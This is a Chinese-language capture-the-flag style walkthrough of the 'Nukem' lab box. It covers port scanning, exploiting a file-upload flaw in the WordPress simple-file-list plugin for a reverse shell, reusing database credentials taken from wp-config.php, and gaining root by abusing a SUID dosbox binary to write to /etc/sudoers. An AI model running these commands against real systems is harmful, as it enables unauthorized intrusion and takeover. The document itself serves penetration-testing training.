简介
point 20
Nukem
Difficulty INTERMEDIATE
rated by community HARD
Hmmm… That’s gonna leave a mark.
实验环境
攻击者 Kali 192.168.45.209
受害者 IP 192.168.181.105 Linux
1. 信息收集
收集受害者服务详情
nmap -sV -A 192.168.181.105
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
| 256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
|_ 256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host ‘192.168.45.209’ is not allowed to connect to this MariaDB server
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.8.5)
FUZZ测试
看起来像是wordpress
尝试wordpress扫描
wpscan --url http://192.168.181.105/ -eu
wpscan --url http://192.168.181.105/
密码爆破先放放
看一下能不能从plugin入手
发现simple-file-list 4.2.2 刚好有漏洞
我选择文件上传的漏洞
在运行之前 修改POC代码
经过测试 大部分端口都不能连接 只能用80
Kali监听80端口
python3 48979.py http://192.168.181.105
Kali就能直接获得反弹shell
3. 后渗透阶段
获得反弹shell后不要动
先看在哪里 因为这个网站部署的地方有点奇怪
[http@nukem simple-file-list]$ pwd
pwd
/srv/http/wp-content/uploads/simple-file-list
返回到http目录 查找wp-config.php
/** MySQL database username */
define( ‘DB_USER’, ‘commander’ );
/** MySQL database password */
define( ‘DB_PASSWORD’, ‘CommanderKeenVorticons1990’ );
得到了数据库的用户名和密码
数据库没用
这套用户名和密码是可以直接登录commander用户的
查看SUID
https://gtfobins.github.io/gtfobins/dosbox/
SUID用法就是
LFILE='\path\to\file_to_write'
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
意思是要在echo后面输入你想输入的东西 不管是代码还是命令
我的想法是直接在/etc/sudoers中加入commander用户
LFILE='/etc/sudoers'
./dosbox -c 'mount c /' -c "echo commander ALL=(ALL:ALL) ALL >c:$LFILE" -c exit
运行之后
sudo -l
已经拿到了ALL
直接
sudo bash -p
拿到root的shell